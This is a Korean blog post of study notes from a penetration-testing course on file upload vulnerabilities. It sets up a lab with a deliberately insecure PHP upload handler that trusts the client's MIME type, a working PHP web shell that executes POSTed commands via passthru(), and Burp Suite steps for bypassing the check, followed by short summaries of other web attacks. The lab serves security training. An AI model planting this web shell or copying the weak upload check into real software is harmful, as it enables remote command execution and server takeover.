블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2024.4
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

공지사항

태그목록

최근에 올라온 글

다음 문서는 웹 모의해킹 및 시큐어코딩 진단가이드 책의 내용을 공부 하면서 만든 문서입니다. 책의 저작권은 원본 제작자에 있으며, 이 문서는 순수한 공부 용도로만 사용하시기 바랍니다. 반드시 원본 책을 사서 읽어 보시기를 권장합니다. 좋은 내용이 너무 많습니다. ^^* *^^




웹보안(Web Security)




제 5 장   파일 업로드
















파일 업로드 취약점이란 게시판 등의 파일을 업로드 할 수 있는 기능을 악용하여 악의적인 파일(웹셀) 업로드를 통해 시스템 권한을 장악하는 기법을 의미한다.


게시판 업로드 기능헤서 파일 확장자에 대한 검사가 수행되지 않는 경우 취약점이 발생된다.


다음은 웹서버에서 실행 가능한 확장자에 대한 예시이다.

----------------------------------------------------------------------

개발언어         공격 가능한 확장자

----------------------------------------------------------------------

ASP, ASPX       asp, aspx, htm, html, asa 등      

PHP             phtml, php, php3, php4, php5, inc, htm, html 등

JSP, JAVA       jsp, jspx, jsw, jsv, jspf, htm, html 등

PERL            pl, pm, cgi, lib, htm, html 등

ColdFusion      cfm, cfml, cfc, dbm, htm, html 등

----------------------------------------------------------------------






[실습] MIME 타입 변조 및 우회


테스트 대상 : 아파치 APM

테스트 도구 : 웹브라우저, Burp Suite(프록시 도구)

준비사항    : 웹서버(아파치 APM), 웹페이지



① 준비 사항


아파치 APM를 설치한다. (APMSetup 통해 구성한다.)


기본설정으로 설치하면 C:\APM_Setup 디렉토리가 생성된다.


② 웹페이지 생성


MIME 타입 변조 및 우회 실습을 위한 테스트 페이지를 생성한다.


다음과 같은 파일을 C:\APM_Setup\upload.html 파일로 생성한다.


■ C:\APM_Setup\upload.html

<html>

<head><titile>FileUpload</title></head>

<body>

<form enctype="multipart/form-data" action="upload.php" method="post">

<fieldset>

<legend><font size="2">Please Choose Image File:</legend>

File:<input type="file" name="userfile">

<input type="submit" name="upload" value="upload">

</fieldset>

</form>

</body>

</html>


■ C:\APM_Setup\upload.html 파일에 대한 해석

<html>

<head><titile>FileUpload</title></head>

<body>

/* <... form ...> : 폼 관련 요소를 form 요소에 명시적으로 연결 */

/* <... enctype ...> : 폼을 전송할 때 사용할 인코딩 방법을 지정 */

/* <... action ...> : 업로드 파일을 처리하기 위한 페이지 지정 */

/* <... method ...> : 전송 방식으로 GET, POST등의 방식을 지정 */

<form enctype="multipart/form-data" action="upload.php" method="post">

<fieldset>

        <legend><font size="2">Please Choose Image File:</legend>

        /* <... input type ...> : 요소의 데이터 타입과 연관된 컨트롤을 조절 */

        File:<input type="file" name="userfile">

        <input type="submit" name="upload" value="upload">

</fieldset>

</form>

</body>

</html>


다음과 같은 파일을 C:\APM_Setup\upload.php 파일로 생성한다.


■ C:\APM_Setup\upload.php 파일

<? php

$uploaddir = 'uploads/';

$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

 

if(in_array($_FILES['userfile']['type'],array('image/jpeg','image/pjpeg','image/png','image/gif'))){

{

if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)){

echo "FileName:".$_FILES['userfile']['name']." 입니다.";

echo "<p>";

echo '<img src=uploads/'.$_FILES['userfile']['name'].'" />';

}

}

}

else{

echo "<script>alert('이미지타입이 아닙니다.')</script>";

}

?>


■ C:\APM_Setup\upload.php 파일에 대한 해석

<? php

$uploaddir = 'uploads/';

/* basename(string $path [,string $suffix]) : 경로의 이름 구성 요소를 반환 */

/* 예제: <? php $name = basename("/etc/passwd"); echo $name; ?> */

$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

 

/* in_array(mixed $needle, arry $haystack[, bool $strict = FALSE]) : 배열에 값이 있는지 점검한다. 두번째 패러미터 $haystack 배열에서 첫번째 패러미터인 $needle 값이 존재하는지 검사한다. */

/* 예시: <? php $os = arrary("Mac", "NT", "Linux"); if (in_arrary("Linux", $os)) { echo "Got Linux"; } else { echo "Nothing"; } ?> */

if(in_array($_FILES['userfile']['type'],array('image/jpeg','image/pjpeg','image/png','image/gif'))){

{

/* move_uploaded_file(string $filename, string $destination) : 새로운 위치로 업로드된 파일을 이동한다. */

/* 예시: if(move_uploaded_file($_FILES['uploaded']['tmp_name'],$target)){ echo "OK"; } */

if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)){

echo "FileName:".$_FILES['userfile']['name']." 입니다.";

echo "<p>";

echo '<img src=uploads/'.$_FILES['userfile']['name'].'" />';

}

}

}

else{

echo "<script>alert('이미지타입이 아닙니다.')</script>";

}

?>


③ 파일 업로드 하기

게시판의 첨부 파일기능에 웹셀파일을 업로드하고 파일확장자 검사여부를 확인하여 우회여부를 결정한다.


테스트를 위한 PHP 웹셀 소스코드는 다음과 같다.


C:\testWebSehll.php 파일

<html>

<div align="left"><font size="2">Input command :</font></div>

<form name="cmd" method=POST" enctype="multipart/form-data">

<input type="text" name="cmd" size="30" class="input"><br>

<pre>

<?php

if ($_POST['cmd']){

$cmd = $_POST['cmd'];

passthru($cmd);

}

?>

</html>


WebSehll.php 파일을 웹에 접속하여 업로드를 시도한다.

-> 해당 웹셀 업로드시 파일 타입 에러가 발생되는 것을 볼수 있을 것이다.


④ 웹 브라우저와 프락시 도구 설정


웹브라우저 설정 : Web Proxy로 127.0.0.1:9000 지정한다.


Burp Suite Proxy 설정 : 127.0.0.1:9000

-> Proxy 탭 > Options 탭 > Edit

   ----------------------------------------------

   interface : 127.0.0.1:9000

   ----------------------------------------------

-> 페이지 하단의 클라이언트 요청을 변경하기 위해서 "Intercept Client Requests" 항목을 체크

   [ V ] Intercept requests based on the following rules: Master interception is tuned off


-> Proxy 탭 > Options 탭 > Intercept is on 으로 설정







그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

그림입니다.

*SQL Injection

환경: SQL(웹-DB) 환경에서

공격: 조작된, 악의적인 SQL 구문을 Injection해서

결과: 인증을 우회하거나, 정보를 획득하는 것


*XML 취약성(XPath Injection)

환경: XML(웹-DB) 환경에서

공격: 조작된, 악의적인 XML 구문을 Injection해서

결과: 정보수집, 편집, 확인, 삭제, 인증우회


*XSS(cross-site scripting)

환경: 웹(웹C-웹S)

공격: S(stored=게시판 클릭유도=영구적, reflected=alert구문을 이용해서 악의적인 스크립트 삽입=비영구적)

결과: 정보 획득


*HTML 응답 분할 CRLF


*파일 업로드

환경: 게시판같이 파일을 업로드 할 수 있는 환경

공격: 악의적인, 정상적이지 않은 파일을 업로드해서

결과: 정보 획득, 변경, 삭제, 상대방 시스템 장악


*파일 다운로드

환경: 게시판처럼 파일을 다운로드 받을 수 있는 환경

공격: 조작된 파일(운영체제파일, 시스템정보파일, 히스토리파일, 로그파일)을 악의적으로 다운로드

결과: 정보 획득, 상대방 시스템 장악

'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160919 악성코드제작하기  (0) 2016.09.19
20160901 프로젝트#5  (0) 2016.09.07
20160830 XML, CRLF, XSS Injection  (0) 2016.08.31
20160829 SQL Injection & XML Injection  (0) 2016.08.29
20160826 웹보안  (0) 2016.08.27
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함